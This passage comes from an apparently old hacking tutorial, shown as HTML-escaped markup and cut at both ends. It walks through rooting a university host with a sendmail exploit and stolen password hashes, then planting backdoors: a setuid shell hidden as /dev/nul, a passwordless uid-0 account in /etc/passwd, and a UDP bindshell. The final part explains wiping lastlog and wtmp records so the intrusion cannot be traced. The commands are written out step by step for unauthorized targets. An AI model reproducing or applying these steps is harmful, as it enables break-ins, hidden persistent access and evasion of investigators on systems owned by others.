&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; login: malicioususer&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Password: (it doesn't display)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Last login: Fry Sep 15 11:45:34 from
&amp;lt;yourIPaddress&amp;gt;.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Here
is a example of a buffer overflow (that doesn't really exist):&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
we
compile it:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ gcc exploit.c -o exploit&lt;/div&gt;
&lt;div class="Preformatted"&gt;
we
execute it:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ ./exploit&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This is a sendmail 8.9.11 exploit&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; usage: ./exploit target port&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Sendmail
works on port 25, so:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$./exploit 25 target.edu&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Cool,
'$' means we got a shell! Let's find out if we're root.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $whoami&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; root&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Damn,
we've rooted target.edu!&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $whyamiroot&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; because you've hacked me! :-) (just
kidding)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
There
are some exploits that don't give you root directly, but a normal shell.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
It
depends on what luser is running the daemon. (sendmail is usually root)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Then
you'll have to upload a .c file with a local (local means it can't overflow&lt;/div&gt;
&lt;div class="Preformatted"&gt;
a
daemon, but a local program) overflow and compile it.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Remember
to avoid uploading it with FTP as you can.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Other
kind of exploit is the one that gives you access to the password file.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
If
a host gots port 23 (telnet) opened, we can login as a normal user&lt;/div&gt;
&lt;div class="Preformatted"&gt;
(remote
root logins are usually not allowed) by putting his/hers/its username&lt;/div&gt;
&lt;div class="Preformatted"&gt;
and
password. Then use the su command to become root.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ telnet target.edu 23&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Trying xx.xx.xx.xx...&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Connected to target.edu.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Escape character is '^]'.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; We're running SunOS 5.7&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Welcome to target.edu&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; login: luser&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Password: (it doesn't display)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Last login: Fry Sep 22 20:47:59 from
xx.xx.xx.xx.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ whoami&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; luser&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Are
we lusers?&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ su root&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Password:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Don't
think so...&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ whoami&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; root&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Let's
see what happened. We've stolen the password file (/etc/shadow) using an
exploit.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Then,
let's suppose we've extracted the password from luser and root. We can't login
as&lt;/div&gt;
&lt;div class="Preformatted"&gt;
root
so we login as luser and run su. su asks us for the root password, we put it
and...&lt;/div&gt;
&lt;div class="Preformatted"&gt;
rooted!!&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
The
problem here is that is not easy to extract a root password from a password
file.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Only
1/10 admins are idiot enough to choose a crackable password like a dictinonary
word&lt;/div&gt;
&lt;div class="Preformatted"&gt;
or
a person's name.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
I
said some admins are idiot (some of them are smart), but lusers are the more
most&lt;/div&gt;
&lt;div class="Preformatted"&gt;
idiotest
thing on a system. You'll find that luser's passwords are mostly easyly
cracked,&lt;/div&gt;
&lt;div class="Preformatted"&gt;
you'll
find that lusers set up rlogin doors for you to enter without a password, etc.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Not
to mention what happens when an admin gives a normal luser administrator
priviledges&lt;/div&gt;
&lt;div class="Preformatted"&gt;
with
sudo or something.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
To
learn how to crack a password file and extract its passwords, download a
document called&lt;/div&gt;
&lt;div class="Preformatted"&gt;
"cracking
UNIX passwords" by Zebal. You can get it from my site (www.3b0x.com).&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Of
course, I haven't listed all the exploit kinds that exist, only the most
common.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Putting backdoors&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
~~~~~~~~~~~~~~~~~&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Ok,
we've rooted the system. Then what?&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Now
you're able to change the webpage of that .edu box. Is that what you want to
do?&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Notice
that doing such a thing is LAMER attitude. everyone out there can hack an .edu&lt;/div&gt;
&lt;div class="Preformatted"&gt;
box,
but they're not ashaming them with such things.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Hacktivism
is good and respected. You can change the page of bad people with bad
ideologies&lt;/div&gt;
&lt;div class="Preformatted"&gt;
like
nazis, scienciologists, bsa.org, microsoft, etc. Not a bunch of poor educators.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
REMEMBER:
ask for permission first!&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
No,
this time you should do another thing. You should keep that system for you to
play with&lt;/div&gt;
&lt;div class="Preformatted"&gt;
as
a toy! (remember: your_box --&amp;gt; lame_box --&amp;gt; victim's box)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Once
we type "exit" on our login shell, we're out. And we gotta repeat all
the process to get&lt;/div&gt;
&lt;div class="Preformatted"&gt;
back
in.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
And
it may not be possible:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
-
the admin changed his password to something uncrackable.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
-
they updated sendmail to a newer version so the exploit doesn't work.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
So
now we're root and we can do everything, we shall put some backdoors that let
us get back in.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
It
may be interesting to read the paper about backdoors I host on my site.
(www.3b0x.com)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Anyway,
i'll explain the basics of it.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
1.How
to make a sushi:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp; To make a sushi or suid shell, we gotta copy
/bin/sh to some hidden place and give it suid&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp; permissions:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ cp /bin/sh /dev/nul&lt;/div&gt;
&lt;div class="Preformatted"&gt;
In
the strange case the admin looks at /dev, he wouldn't find something unusual
cause&lt;/div&gt;
&lt;div class="Preformatted"&gt;
/dev/null
does exist (who notices the difference?).&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ cd /dev&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ chown root nul&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Should
yet be root-owned, but anyway...&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ chmod 4775 nul&lt;/div&gt;
&lt;div class="Preformatted"&gt;
4775
means suid, note that "chmod +s nul" wouldn't work on some systems
but this works everywhere.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
We've
finished our 'duty', let's logout:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ exit&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Then,
when we come back some day:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ whoami&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; luser&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ /dev/nul&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ whoami&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; root&lt;/div&gt;
&lt;div class="Preformatted"&gt;
We're
superluser again!&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
There's
one problem: actually most shells drop suid permissions, so the sushi doesn't
work.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
we'd
upload then the shell we want and make a sushi with it.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
The
shell we want for this is SASH. A stand-alone shell with built-in commands.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
This
one doesn't drop suid perms, and the commands are built-in, so external
commands&lt;/div&gt;
&lt;div class="Preformatted"&gt;
can't
drop perms too! Remember to compile it for the architecture of the target box.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Do
you know where to get sash from? From my site :-). (www.3b0x.com)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
2.How
to add fake lusers.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
You
gotta manipulate the users file: /etc/passwd&lt;/div&gt;
&lt;div class="Preformatted"&gt;
try
this:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ pico /etc/passwd&lt;/div&gt;
&lt;div class="Preformatted"&gt;
if
it doesn't work, try this:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ vi /etc/passwd&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Of
course, you must learn how to use vi.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
This
is what a luser line looks like:&amp;nbsp;
luser:passwd:uid:gid:startdir:shell&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
When
uid=0 and gid=0, that luser gets superluser priviledges.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Then
we add a line like this:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;dood::0:0:dood:/:/bin/sh&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (put it in a hidden place)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
So,
once we get a shell, we type:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ su dood&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ whoami&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dood&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
And
now we're root because dood's uid=0 and gid=0.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Smart
admins usually look for anomalities on /etc/passwd. The best way is to use a
fake&lt;/div&gt;
&lt;div class="Preformatted"&gt;
program
in /bin that executes the shell you want with suid perms.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
I
haven't got such a program at my site, but it shouldn't be difficult to
develope.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
3.How
to put a bindshell.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
A
bindshell is a daemon, it's very similar to telnetd (in fact, telnetd is a
bindshell).&lt;/div&gt;
&lt;div class="Preformatted"&gt;
The
case is this is our own daemon. The good bindshells will listen to an UDP port
(not TCP)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
and
give a shell to you when you connect. The cool thing of UDP is this:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
If
the admin uses a scanner to see what TCP ports are open, he woldn't find
anything!&lt;/div&gt;
&lt;div class="Preformatted"&gt;
They
rarely remember UDP exists.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
You
can get an UDP bindshell coded by !hispahack from my site.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Cleaning
up&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
~~~~~~~~~~~&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Remember
when we logedin to target.edu as luser, and used su to become root?&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Take
a look to this line:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Last login: Fry Sep 22 20:47:59 from
xx.xx.xx.xx.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Yes,
that was displayed by the target box when we logedin there.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
It
refers to the last login that the real luser did.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
So,
what will be displayed when luser logsin again?&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Last login: Sun Sep 24 10:32:14 from
&amp;lt;yourIPaddress&amp;gt;.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Then
luser writes a mail to the admin:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
"It
has happen some strange thing, when I loggedin today, I've read a line like
this:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;Last login: Sun Sep 24 10:32:14 from
&amp;lt;yourIPaddress&amp;gt;.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;Does it mean I did login yesterday? It can't
be, I don't work on sundays!&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;I think it's a bug and this is your
fault."&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
The
admin responds to luser:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
"That
wasn't a bug! this line means someone acceded the system using your password,
don't&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;worry for that, we got his IP. That means we
can ask his ISP what phone number did call&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;at 10:32 and get &amp;lt;yourIPaddress&amp;gt;. Then
we shall call the police and he'll get busted"&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
So
you'll get busted because luser was a bit clever (sometimes happens).&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
So
we gotta find a way to delete that.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
This
information can be stored in: &lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
/usr/adm/lastlog
&lt;/div&gt;
&lt;div class="Preformatted"&gt;
/var/adm/lastlog
&lt;/div&gt;
&lt;div class="Preformatted"&gt;
/var/log/lastlog&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
and
we can erase it using lled (get it from my site) &lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
lled
gots a buitin help that explains how to use it, remember to chmod the fake file&lt;/div&gt;
&lt;div class="Preformatted"&gt;
created
by lled like the substitute lastlog file.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
There
is also some information we'd like to erase:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Remember
when i told you not to use FTP? Well, in case you did it, you must now &lt;/div&gt;
&lt;div class="Preformatted"&gt;
use
wted to clean up. Its sintax is very similar to lled.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
you
can get it from my site.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
The
who command shows us (and the admin) which lusers are logedin at the moment.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
What
if we login and the admin is there?&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ who&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
